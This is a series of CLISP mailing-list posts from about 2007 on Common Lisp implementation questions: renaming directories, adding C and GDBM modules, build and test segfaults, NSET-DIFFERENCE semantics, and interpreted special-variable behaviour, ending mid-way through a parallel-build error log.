>> e.g., in CLISP, PROBE-FILE does not work on directories, while
>> EXT:PROBE-DIRECTORY does not work on files (those who want one probe
>> function, can use DIRECTORY).
>> in the case of RENAME-FILE, there is no function RENAME-DIRECTORY,  
>> so we
>> either need to make the former work on directories, or add the latter.
>>
>> what is the better option?
> 
> To stay in the tradition, RENAME-DIRECTORY.
> 
> The only downside, is that the current platforms are all more or less
> POSIX, where a directory "is a" file, so people would expect to use the
> same functions on files and directories.
> 
> Still, I think that EXT:RENAME-DIRECTORY would be better, because  
> RENAME-FILE
> has some special treatment of its arguments that might not be  
> indicated for
> directories.

OK, please create an RFE on SF and post here a link - let us discuss it
there.
thanks.

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> I'm trying to rename a directory with CLISP (from CVS HEAD, on
> NetBSD/powerpc).  However, RENAME-FILE doesn't do what I want:
>
> [1]> (rename-file "/tmp/foo/" "/tmp/bar/")
>
> *** - no file name given: #P"/tmp/foo/"
>
> [3]> (rename-file "/tmp/foo" "/tmp/bar")
>
> *** - RENAME-FILE: "/tmp/foo" names a directory, not a file
>
> Is that a bug or a feature?  Should I use some other function?

It's a feature. Notice how the function is named rename-FILE,
not rename-DIRECTORY.  There is no such operation in CL.

In clisp on linux, you can use LINUX:rename.

On other OSes, you may use FFI to call a native function to rename
directories.


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>> 
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>>> Magnus Henoch wrote:
>>>> I'm trying to rename a directory with CLISP (from CVS HEAD, on
>>>> NetBSD/powerpc).  However, RENAME-FILE doesn't do what I want:
>>>>
>>>> [1]> (rename-file "/tmp/foo/" "/tmp/bar/")
>>>>
>>>> *** - no file name given: #P"/tmp/foo/"
>>>>
>>>> [3]> (rename-file "/tmp/foo" "/tmp/bar")
>>>>
>>>> *** - RENAME-FILE: "/tmp/foo" names a directory, not a file
>>>>
>>>> Is that a bug or a feature?  Should I use some other function?
>>> CLISP has traditionally taken the position that "file" and "directory"
>>> are disjoint categories, so, if a function operates on "files", it
>>> should reject "directories".
>>> e.g., in CLISP, PROBE-FILE does not work on directories, while
>>> EXT:PROBE-DIRECTORY does not work on files (those who want one probe
>>> function, can use DIRECTORY).
>>> in the case of RENAME-FILE, there is no function RENAME-DIRECTORY,  
>>> so we
>>> either need to make the former work on directories, or add the latter.
>>>
>>> what is the better option?
>> 
>> To stay in the tradition, RENAME-DIRECTORY.
>> 
>> The only downside, is that the current platforms are all more or less
>> POSIX, where a directory "is a" file, so people would expect to use the
>> same functions on files and directories.
>> 
>> Still, I think that EXT:RENAME-DIRECTORY would be better, because  
>> RENAME-FILE
>> has some special treatment of its arguments that might not be  
>> indicated for
>> directories.
>
> OK, please create an RFE on SF and post here a link - let us discuss it
> there.
> thanks.

Done.


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Hello Bruno,

I am Vijay Mathew, a programmer from India.
First of all thanks for creating the great CLISP!

I want to add a module written in C++ as an extension to CLISP.
As far as I can figure out the only way to do this is to wrap up the
C++ interfaces in C functions, put these functions in a shared library
and call them from a CLISP module.
What will be the trade offs of this approach? Is there a better way to do this?

Eagerly waiting for your reply...

Vijay



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Context-dependent behavior is becoming increasingly important for a  
wide range of application domains. Unfortunately, mainstream  
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entities to adapt their behavior dynamically to the current execution  
context. In collaboration with various researchers, we have developed  
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ContextL - http://common-lisp.net/project/closer/contextl.html - is  
our first fully implemented and currently most mature programming  
language extension for COP and is built on top of the Common Lisp  
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public in early 2005, and has already been adopted by a number of  
programmers. We would now like to assess how well ContextL has been  
received so far.

Please consider participating in our first survey about ContextL -  
this will help us a lot to develop ContextL and related projects  
further (like Closer to MOP, etc.).

You can find the survey and more information about it at http:// 
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Thanks a lot,
Pascal

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I have the entire transcript if it'll help.
Everything seems to be working until make check ends with ...

===
...
EQL-OK: ERROR
(LENGTH (ADJUST-ARRAY (MAKE-ARRAY 0 :ELEMENT-TYPE 'CHARACTER :ADJUSTABLE T) 1))
EQL-OK: 1
(LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)))))

*** - handle_fault error2 ! address = 0xb0000000124b8 not in [0xb000000000000,0x\
b000000001988) !
SIGSEGV cannot be cured. Fault address = 0xb0000000124b8.
Permanently allocated: 150528 bytes.
Currently in use: 8699984 bytes.
Free space: 2173666 bytes.
gmake[1]: *** [tests] Segmentation fault
gmake[1]: Leaving directory `/home/dcohen/clisp-2.41/src/tests'
make: *** [check-tests] Error 2

===

Is this related to the following?
libsigsegv: ia64-unknown-linux2.6.16.27-gnu-glibc2.4 | yes | no | 2.4

Let me know what I can do about it.
Thanks.


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Don Cohen wrote:
> I have the entire transcript if it'll help.
> Everything seems to be working until make check ends with ...
> 
> ===
> ...
> EQL-OK: ERROR
> (LENGTH (ADJUST-ARRAY (MAKE-ARRAY 0 :ELEMENT-TYPE 'CHARACTER :ADJUSTABLE T) 1))
> EQL-OK: 1
> (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)))))
> 
> *** - handle_fault error2 ! address = 0xb0000000124b8 not in [0xb000000000000,0x\
> b000000001988) !
> SIGSEGV cannot be cured. Fault address = 0xb0000000124b8.
> Permanently allocated: 150528 bytes.
> Currently in use: 8699984 bytes.
> Free space: 2173666 bytes.
> gmake[1]: *** [tests] Segmentation fault
> gmake[1]: Leaving directory `/home/dcohen/clisp-2.41/src/tests'
> make: *** [check-tests] Error 2
> ===

this is a test for reallocated strings being turned ordinary by GC.
Bruno is the only one.


> Is this related to the following?
> libsigsegv: ia64-unknown-linux2.6.16.27-gnu-glibc2.4 | yes | no | 2.4

dunno.
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Masayuki Onjo wrote:
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> I made a GDBM interface module for the CLISP.
> 
> You can download it from:
>     http://lispuser.net/files/clisp/gdbm.tar.gz
> 
> It provides the GNU Database Manager (GDBM) interface
> that manages data files that contation key/data pairs.

thanks.
you did not mention the licensing terms.
(note that since your module relies on CLISP internals, your only option
is GNU GPL2).

there are some small rough edges.
e.g., the whole error_message business that you copied from bdb is
completely out of place here: bdb uses callbacks and gdbm, apparently
does not.
gdbm.xml is obviously missing.

if you want us to include your module with the official clisp
distribution, I will put it under the cvs on SF and give your write
access to the tree.

Sam.


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Hi, Sam.

Sam Steingold wrote:

> you did not mention the licensing terms.
> (note that since your module relies on CLISP internals, your only option
> is GNU GPL2).

All right, I choose GPL2.

> there are some small rough edges.
> e.g., the whole error_message business that you copied from bdb is
> completely out of place here: bdb uses callbacks and gdbm, apparently
> does not.
> gdbm.xml is obviously missing.

Ok, I'll revise the error handling code and create gdbm.xml.

I've a question abount error-handling in C-module.
Usually I wrote the following code:

     ;; 1. define error
     (define-condition my-error (simple-error) (...))

     ;; 2. use error
     (defun my-proc (x)
       (if (pred x)
           ....
           (error (make-condition 'my-error :param x ...)))) ;; *

     ;; 3. handle error
     (handler-case
        (my-proc x)
       (my-proc (c) ...))

Could I use that style in C-module?

     pushSTACK(...); pushSTACK(...);
     funcall(`CL:MAKE-CONDITION`, ...);
     pushSTACK(value1); 
     funcall(`CL:ERROR`, 1);

I think that it works, but I'm not confident correct.
Are there better way?

> if you want us to include your module with the official clisp
> distribution, I will put it under the cvs on SF and give your write
> access to the tree.

Yes, I want to contribute this module.

-- 
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I'd trouble with my program and I found out this:

OPERATORS[70]> y
('(1 C) '(A 5))
OPERATORS[71]> i
'(1 C)
OPERATORS[72]> (nset-difference y (list i) :test #'equal)
('(A 5))
OPERATORS[73]> y
('(1 C) '(A 5))
OPERATORS[74]> i
'(1 C)
OPERATORS[75]> 

is there something wrong?
bye
raffaele

bash-3.1$ clisp --version
GNU CLISP 2.41 (2006-10-13) (built on hammer2.fedora.redhat.com)
Software: GNU C 4.1.1 20061011 (Red Hat 4.1.1-30) 
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations
-falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a
libcallback.a /usr/lib/libreadline.so -ltermcap -ldl   -L/usr/lib -lsigsegv 
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED
TRIVIALMAP_MEMORY
libsigsegv 2.4
libreadline 5.1
Features: 
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP
LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI
 GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /usr/lib/clisp/
User language: ENGLISH




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On Sun, 2007-09-16 at 00:54 +0000, raffaele arecchi wrote:
> OPERATORS[72]> (nset-difference y (list i) :test #'equal)
> ('(A 5))
> 
> is there something wrong?

Yes, NSET-DIFFERENCE is not required to do what you expect here.  The
only change from SET-DIFFERENCE is that it can modify conses in any
order from the first argument list, possibly using any number of them in
the result, or even setting all the cars and cdrs to 42 and discarding
them if it is so inclined.  You must still treat it like a function and
use the result that it returns.

Most "destructive" variants of list functions have this behavior.  The
ones that are guaranteed to do something specific will have that thing
described in detail in the CLHS.  For a couple of interesting examples,
see NCONC and MAP-INTO.

-- 
;;; Stephen Compall ** http://scompall.nocandysw.com/blog **
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well as fifth in line after kilo, mega, giga, and tera.
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Hi Masayuki,

Masayuki Onjo wrote:
> Sam Steingold wrote:
> 
> I've a question abount error-handling in C-module.
> Usually I wrote the following code:
> 
>      ;; 1. define error
>      (define-condition my-error (simple-error) (...))
> 
>      ;; 2. use error
>      (defun my-proc (x)
>        (if (pred x)
>            ....
>            (error (make-condition 'my-error :param x ...)))) ;; *
> 
>      ;; 3. handle error
>      (handler-case
>         (my-proc x)
>        (my-proc (c) ...))
> 
> Could I use that style in C-module?
> 
>      pushSTACK(...); pushSTACK(...);
>      funcall(`CL:MAKE-CONDITION`, ...);
>      pushSTACK(value1); 
>      funcall(`CL:ERROR`, 1);
> 
> I think that it works, but I'm not confident correct.
> Are there better way?

error-of-type is, I think, what you are looking for (although your 
version will probably work too).
see modules/berkeley-db/bdb.c:error_bdb

>> if you want us to include your module with the official clisp
>> distribution, I will put it under the cvs on SF and give your write
>> access to the tree.
> 
> Yes, I want to contribute this module.

thank you!
what is your SF id?

Sam.



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Hello list,

I'm a new clisp user, and although the build/install works fine as per
the instructions, there is a failure during
	make check-tests

I'm about to follow the bug reporting procedure, but much experience has
led me to suspect this has been long since identified and fixed, so I
though I'd try a quick post here first.

This is on a x86_64 pure 64bit gnu/linux setup and the error looks like
this:

...[snip]...
EQL-OK: ERROR
(LET ((A T) (B NIL)) (LIST (IF A 1 2) (IF B 1 2) (IF A 1) (IF B 1)))
EQUAL-OK: (1 2 1 NIL)
(LET ((A T) (B NIL)) (LIST (WHEN A 1 2) (WHEN B 1 2) (WHEN A 1)))
EQUAL-OK: (2 NIL 1)
(LET ((A T) (B NIL)) (LIST (UNLESS A 1 2) (UNLESS B 1 2) (UNLESS A 1)))
EQUAL-OK: (NIL 2 NIL)
(LET ((A T) (B 10) (C NIL)) (LIST (COND (A 1) (T 'END)) (COND (B) (T
'END)) (COND (C 1) (T 'END))))
EQUAL-OK: (1 10 END)
(CASE (+ 1 2) (1 -1) (2 -2) (3 -3))
EQL-OK: -3
(CASE (+ 1 2) (1 -1) (2 -2))
EQL-OK: NIL
(CASE (+ 1 2) ((1 3) -1) (2 -2) (OTHERWISE 100))
EQL-OK: -1
(TYPECASE (+ 1 2) (LIST -2) (NULL -3) (INTEGER -1))
EQL-OK: -1
(BLOCK BLOCKTEST (IF T (RETURN 0)) 1)

*** - handle_fault error2 ! address = 0x0 not in [0x333a50000,0x333e7e348) !
SIGSEGV cannot be cured. Fault address = 0x0.
Permanently allocated: 150584 bytes.
Currently in use: 10624280 bytes.
Free space: 36950 bytes.
make[1]: *** [tests] Segmentation fault
make[1]: Leaving directory `/tmp/clisp.heretix/clisp-2.41/build/tests'
make: *** [check-tests] Error 2

I'm using gcc 4.1.2, latest binutils, glibc 2.6.1 and libsigsegv 2.4

Any instant solutions appreciated, otherwise I'll proceed with the bug
reporting procedure.

Thanks!

Andrew Walrond


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Andrew Walrond wrote:
> Hello list,
> 
> I'm a new clisp user, and although the build/install works fine as per
> the instructions, there is a failure during
> 	make check-tests
> 

Intriguingly, I _DO_NOT_ get a test failure if I use the
	configure --build
facility, (which is supposed to run the same tests according to the
documentation) rather than the broken out build commands:
	./configure build
	cd build
	./makemake > Makefile
	make config.lisp
	make
	make check-recompile
	make check-tests

Hope that's useful!

Andrew Walrond



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Hi, Sam.

> error-of-type is, I think, what you are looking for (although your version will probably work too).
> see modules/berkeley-db/bdb.c:error_bdb

Oops, I wan't understand error_bdb well.
I review bdb.c and error.c. The error_of_type seems more suitable.
I updated http://lispuser.net/files/clisp/gdbm.tar.gz
 
> what is your SF id?

My SF id is m_onjo.

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raffaele arecchi writes:
> I'd trouble with my program and I found out this:
> 
> OPERATORS[70]> y
> ('(1 C) '(A 5))
> OPERATORS[71]> i
> '(1 C)
> OPERATORS[72]> (nset-difference y (list i) :test #'equal)
> ('(A 5))
> OPERATORS[73]> y
> ('(1 C) '(A 5))
> OPERATORS[74]> i
> '(1 C)
> OPERATORS[75]> 
> 
> is there something wrong?

Destruction is never mandatory (and sometimes not even possible).

In your case, since we have to remove only the first element,
returning the rest is all that can be done.

Remember that all parameters are passed "by value" in lisp, never "by reference".
(It just so happens that most values in lisp are references, but
variables are not references).

nset-difference, as any other function, cannot change the binding to
the variables whose values you pass it, because you only pass the
value of the variables as argument to functions.

Only macro could do that, or you can simply change the binding
yourself if that's what you want:

   (setf y (nset-difference y (list i) :test (function equal)))


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Sam Steingold wrote:
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> I think configure prints a long list of recommended makemake command
> line options, some of which do, apparently, matter.
> 

Ok. I would be sensible to modify unix/INSTALL to reflect this I think.
I can have a go at a patch it if it would be appropriate?

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Andrew Walrond wrote:
> Andrew Walrond wrote:
>> Hello list,
>>
>> I'm a new clisp user, and although the build/install works fine as per
>> the instructions, there is a failure during
>> 	make check-tests
>>
> 
> Intriguingly, I _DO_NOT_ get a test failure if I use the
> 	configure --build
> facility, (which is supposed to run the same tests according to the
> documentation) rather than the broken out build commands:
> 	./configure build
> 	cd build
> 	./makemake > Makefile

I think configure prints a long list of recommended makemake command 
line options, some of which do, apparently, matter.

> 	make config.lisp
> 	make
> 	make check-recompile
> 	make check-tests



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Hi Masayuki,

Masayuki Onjo wrote:
> I updated http://lispuser.net/files/clisp/gdbm.tar.gz
> My SF id is m_onjo.

welcome to the CLISP project!
you now have write access to the CLISP modules/gdbm repository.
I committed your file and made some changes, mostly cosmetic (you can
review them using cvs).

I set reply-to to clisp-devel because the further GDBM discussion will
probably be of little use to most users.

I see the main issues at this time as:
1. GC-safety. please review
http://clisp.cons.org/impnotes/gc-safety.html and proofread your code
making sure that you do not access invalid objects.

2. you ignore non-string key arguments, I think it would be better to
use check_string() instead (it triggers GC!)

3. WITH-OPEN-DB (similar to WITH-OPEN-FILE) is needed.

4. you have code like

DEFUN(GDBM:GDBM-NEXTKEY, dbf key)
{
  GDBM_FILE dbf = check_gdbm(STACK_1);
  object key_obj = popSTACK();
  datum key;
  skipSTACK(1);                 /* drop dbf */

  if (dbf && stringp(key_obj)) {
    with_string_0(key_obj, GLO(foreign_encoding), ks, {
        key.dptr = ks;
        key.dsize = asciz_length(ks);
        if (dbf) {
          VALUES1(datum_to_object(gdbm_nextkey(dbf, key)));
        } else {
          VALUES1(NIL);
        }
      });
  } else {
    VALUES1(NIL);
  }
}

where you check dbf twice - this is not needed.

Sam.

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Andrew Walrond wrote:
> Sam Steingold wrote:
>> I think configure prints a long list of recommended makemake command
>> line options, some of which do, apparently, matter.
>>
> 
> Ok. I would be sensible to modify unix/INSTALL to reflect this I think.

I added a small note to that effect.
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Hello,

Consider this code:

(defun printer (val)
  (lambda () (format t "~a~%" val)))

(setq printer-of-10 (printer 10))
(funcall printer-of-10)

It prints "10" as expected. However, consider this code:

(defun printer (val)
  (lambda () (format t "~a~%" val)))

(setq printer-of-10 (printer 10))
(defvar val 12)
(funcall printer-of-10)

It prints 12 ! This defies my understanding of how the dynamic &
lexical scoping rules of CL interact.

This happened in CLISP 2.41 on Windows, interpreted code.
Thanks in advance,
Eli


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Eli Bendersky wrote:
> 
> Consider this code:
> 
> (defun printer (val)
>   (lambda () (format t "~a~%" val)))
> 
> (setq printer-of-10 (printer 10))
> (funcall printer-of-10)
> 
> It prints "10" as expected. However, consider this code:
> 
> (defvar val 12)
> (funcall printer-of-10)
> 
> It prints 12 !

this is, of course, not compliant.
to get the compliant behavior, you will need to compile the code,
e.g., by adding (declare (compile)) to the printer definition.

ISTR that this behavior was implemented intentionally to ease 
interactive development, because "usually" the printer above would be 
followed by a (forgotten) defvar.
Or something like that.
Maybe Bruno will chime in?

Sam.




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Sam Steingold wrote:
> Eli Bendersky wrote:
>> Consider this code:
>>
>> (defun printer (val)
>>   (lambda () (format t "~a~%" val)))
>>
>> (setq printer-of-10 (printer 10))
>> (funcall printer-of-10)
>>
>> It prints "10" as expected. However, consider this code:
>>
>> (defvar val 12)
>> (funcall printer-of-10)
>>
>> It prints 12 !
> 
> this is, of course, not compliant.
> to get the compliant behavior, you will need to compile the code,
> e.g., by adding (declare (compile)) to the printer definition.
> 
> ISTR that this behavior was implemented intentionally to ease 
> interactive development, because "usually" the printer above would be 
> followed by a (forgotten) defvar.

on a second thought (and after looking at the source code :-), I think I 
can explain the CLISP behavior better.

this is _interpreted_ code.
when printer-of-10 is executed and val is evaluated (after defvar!), we 
see a globally special symbol val which can have only a global 
symbol-value (not a local binding), and thus we are compelled to 
evaluate it to 12.

this is an artifact of interaction between global special declarations 
and code interpretation. the compiled code does not exhibit this 
behavior because the compilation eliminates the symbol val from the 
compiled code, so defvar cannot affect it.

note that
(let ((val 42)) (funcall printer-of-10))
prints 10 before defvar and 42 after.

hth.

Sam.


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> on a second thought (and after looking at the source code :-), I think I
> can explain the CLISP behavior better.
>
> this is _interpreted_ code.
> when printer-of-10 is executed and val is evaluated (after defvar!), we
> see a globally special symbol val which can have only a global
> symbol-value (not a local binding), and thus we are compelled to
> evaluate it to 12.
>
> this is an artifact of interaction between global special declarations
> and code interpretation. the compiled code does not exhibit this
> behavior because the compilation eliminates the symbol val from the
> compiled code, so defvar cannot affect it.
>
> note that
> (let ((val 42)) (funcall printer-of-10))
> prints 10 before defvar and 42 after.
>

What is the verdict, though ? CLISP, in interpreted mode, still
doesn't comply to the Common Lisp standard here, or so it seems to me.

By the way, this code is a washed down portion of code that had a very
insidious bug that hunted me for hours. Imagine writing a large body
of code, and later define a defvar for some local test with the wrong
variable name and BOOM - all the code starts working in a really weird
way after the defvar.

Eli


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On 10/8/07, Eli Bendersky <eliben@gmail.com> wrote:

> By the way, this code is a washed down portion of code that had a very
> insidious bug that hunted me for hours. Imagine writing a large body
> of code, and later define a defvar for some local test with the wrong
> variable name and BOOM - all the code starts working in a really weird
> way after the defvar.

And why do you think it is recommended to use asterisks around the
name of special variables?

P.


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Eli Bendersky wrote:
>> on a second thought (and after looking at the source code :-), I think I
>> can explain the CLISP behavior better.
>>
>> this is _interpreted_ code.
>> when printer-of-10 is executed and val is evaluated (after defvar!), we
>> see a globally special symbol val which can have only a global
>> symbol-value (not a local binding), and thus we are compelled to
>> evaluate it to 12.
>>
>> this is an artifact of interaction between global special declarations
>> and code interpretation. the compiled code does not exhibit this
>> behavior because the compilation eliminates the symbol val from the
>> compiled code, so defvar cannot affect it.
>>
>> note that
>> (let ((val 42)) (funcall printer-of-10))
>> prints 10 before defvar and 42 after.
>>
> 
> What is the verdict, though ? CLISP, in interpreted mode, still
> doesn't comply to the Common Lisp standard here, or so it seems to me.

CLISP offers you an opportunity to run your code in a fully interpreted 
mode. "fully interpreted" makes the current behavior a necessity. 
sometimes this behavior is desirable, sometimes it is not, but this is 
the way it is, and it is not likely to change.
if you can't live with it, always compile your code.

> By the way, this code is a washed down portion of code that had a very
> insidious bug that hunted me for hours. Imagine writing a large body
> of code, and later define a defvar for some local test with the wrong
> variable name and BOOM - all the code starts working in a really weird
> way after the defvar.

I feel your pain. :-(
nevertheless, I do not think CLISP is to blame here.

Sam.


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Sam wrote:
> Eli Bendersky wrote:
> > 
> > Consider this code:
> > 
> > (defun printer (val)
> >   (lambda () (format t "~a~%" val)))
> > 
> > (setq printer-of-10 (printer 10))
> > (funcall printer-of-10)
> > 
> > It prints "10" as expected. However, consider this code:
> > 
> > (defvar val 12)
> > (funcall printer-of-10)
> > 
> > It prints 12 !
> 
> this is, of course, not compliant.

You mean, clisp's result are not ANSI CL compliant? Nah. The program
above is not conforming ANSI CL, therefore clisp can produce arbitrary
results.

Why is it not conforming ANSI CL? Because of section
3.2.2.3 Semantic Constraints:

   "All conforming programs must obey the following constraints ...:

    Special proclamations for dynamic variables must be made in the
    compilation environment."

The code shown above has a SPECIAL proclamation for the variable VAL
in the execution environment (before the funcall) but not in the
compilation environment: at the moment the PRINTER function is defined,
is it not known as a SPECIAL variable. Therefore the code is not conforming.

The same holds also for macros. Before defining a function that uses a macro,
that macro must have been defined.

> ISTR that this behavior was implemented intentionally to ease 
> interactive development, because "usually" the printer above would be 
> followed by a (forgotten) defvar.

Yes, exactly. When a user compiles a program, the compiler is allowed to
remember the information whether a variable was SPECIAL or not, because
that allows the compiler to generate more efficient code. But in
interpreted code, when the user changes the state of a variable, or
redefines a macro, he does *not* want to re-evaluate all DEFUNs that
use the variable or macro.

ANSI CL gives the implementation freedom regarding interpreted evaluation,
how much it wants to remember / cache, and how much it wants to evaluate
according the current environment, if the environment has changed. clisp
implements "ad-hoc lookup" for variables, but not for macros.

It would be useful to change clisp to take into account changed macro
definitions during the interpretation of function bodies. It currently does
not do so, for efficiency reasons: macro expansion is slow. But with a more
intelligent caching mechanism, this could be remedied. If the interpreted
function would not only cache the function body's expansion but also the
vector of global macros that this expansion depended on, clisp could
decide to throw away the cached macro expansion and redo the expansion
when it sees that a macro's definition has changed.

Test case:
  (defmacro pair (x y) `(cons ,x ,y))
  (defun foo (a b c d) (pair (pair a b) (pair c d)))
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Bruno



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Please take a look at
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which summarized the discussion.


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I am attempting to build a Windows (XP) Clisp (from CVS) version
without a console as per the instructions of Frank Buss on
http://www.frank-buss.de/lisp/clisp.html . After dealing with an error
due to some duplicated code in stdint.h, Clisp compiled. The thing is,
it still has a console, even though I specifically built clisp-gui. If
anyone could tell me how to actually get it to not have a console, I
would appreciate it.

The one thing I didn't do was use the patch as directed in the
example. I didn't know if the patch was to fix 2.38, or to make the no
console part of clisp-gui work properly, but I do know that it didn't
patch the latest version properly, so I assume it isn't needed. (Or
else there should be an up to date patch....)

Thanks for your time.


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Elliott Slaughter wrote:
> I am attempting to build a Windows (XP) Clisp (from CVS) version
> without a console as per the instructions of Frank Buss on
> http://www.frank-buss.de/lisp/clisp.html . After dealing with an error
> due to some duplicated code in stdint.h, Clisp compiled. The thing is,
> it still has a console, even though I specifically built clisp-gui.

the last part of the command line on Frank's page, "clisp-gui", is the 
name of the directory in which the build process happens, and does not 
affect the way CLISP is built.
the penultimate part, "--build", tells CLISP build process that you 
trust it enough to proceed to build from configure without giving you an 
opportunity to edit the makefile.
please see clisp/unix/INSTALL for more information.

> The one thing I didn't do was use the patch as directed in the
> example. I didn't know if the patch was to fix 2.38, or to make the no
> console part of clisp-gui work properly, but I do know that it didn't
> patch the latest version properly, so I assume it isn't needed. (Or
> else there should be an up to date patch....)

the patch consists of 3 parts:

1. add "-mwindows" to CC flags in makefile.

2. support woe98 in spvw.d.

3. do not open console in stream.d and win32aux.d.

I don't like the second part, and I don't think there is much point in 
supporting an obsolete proprietary platform.
Parts 1 and 3 look fine and should work, but I have no way to check that 
because I have no access to woe32.
I would be interested in incorporating a working patch based on the 
first and third parts of Frank's patch into the official CLISP 
distribution, provided this no-console behavior were optional, at 
run-time (based on a command-line option) if possible, or at build time 
(based on a configure option) if necessary.

So, even though I cannot offer you any direct help, I have offered 
anyone who helps you a chance to be immortalized in the CLISP ChangeLog 
file. :-)

Sam.


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I have uploaded clisp-2.42-win32-mingw-without-readline.zip to
upload.sourceforge.net/incoming

clisp-2.42-win32-mingw-without-readline.zip
  built by Jack Unrue <jdunrue@gmail.com>
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A couple notes:

It looks like autoconf needed to be run one last time so the
version string could be set to 2.42 rather than 2.41.1. I just
fixed that manually in configure and version.h prior to building
the distribution zip, and I verified that 'clisp --version' and
(lisp-implementation-version) report the correct version.

The install.bat file was not getting copied into my build
directory, and hence not into the distribution. I copied
it in manually so it would be in the right place when the
zip file got built.

Congratulations to Sam on this latest release!

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On 10/11/07, Sam Steingold <sds@gnu.org> wrote:
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I wasn't able to get to this prior to the 2.42 release, but I want to
create such a patch in the next week or so.

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Thanks. That would be great.

On 10/16/07, Jack Unrue <jdunrue@gmail.com> wrote:
> On 10/11/07, Sam Steingold <sds@gnu.org> wrote:
> >
> > I would be interested in incorporating a working patch based on the
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>
> I wasn't able to get to this prior to the 2.42 release, but I want to
> create such a patch in the next week or so.
>
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Hi list,

the default HyperSpec URL is set in <builddir>/config.lisp as:

(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")

but perhaps it should be set to "http://www.lisp.org/HyperSpec/FrontMatter/" ?

Marijn

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Hi list,

CLISP 2.42 fails when doing parallel build:

;; Loaded file
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/readline/readline.fas
3356328 ;
838042
rm -rf full
CLISP_LINKKIT=. ./clisp-link add-module-sets base full wildcard rawsock
bindings/glibc clx/mit-clx pcre zlib || (rm -rf full ; exit 1)
make[1]: Entering directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard'
make[1]: warning: jobserver unavailable: using -j1.  Add `+' to parent make rule.
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard'
make[1]: Entering directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/rawsock'
make[1]: warning: jobserver unavailable: using -j1.  Add `+' to parent make rule.
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/rawsock'
make[1]: Entering directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc'
make[1]: warning: jobserver unavailable: using -j1.  Add `+' to parent make rule.
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc'
make[1]: Entering directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/clx/mit-clx'
make[1]: warning: jobserver unavailable: using -j1.  Add `+' to parent make rule.
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/clx/mit-clx'
make[1]: Entering directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/pcre'
make[1]: warning: jobserver unavailable: using -j1.  Add `+' to parent make rule.
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/pcre'
make[1]: Entering directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/zlib'
make[1]: warning: jobserver unavailable: using -j1.  Add `+' to parent make rule.
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/zlib'
gcc -O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
- -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE
- -DDYNAMIC_FFI -I.
- -I/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir -c modules.c
gcc -O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
- -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE
- -DDYNAMIC_FFI -I. -x none modules.o zlib.o -lz cpcre.o -lpcre linux.o -lm
rawsock.o wildcard.o readline.o -lreadline -lncurses regexi.o regex.o calls.o
- -lcrypt -lm gettext.o lisp.a libcharset.a libavcall.a libcallback.a
/usr/lib64/libreadline.so -Wl,-rpath -Wl,/usr/lib64 -lncurses -ldl
- -L/usr/lib64 -lsigsegv -L/usr/lib64 -lc -R/usr/lib64 -o lisp.run
gcc: unrecognized option '-R/usr/lib64'
linux.o: In function `module__linux__init_function_2':
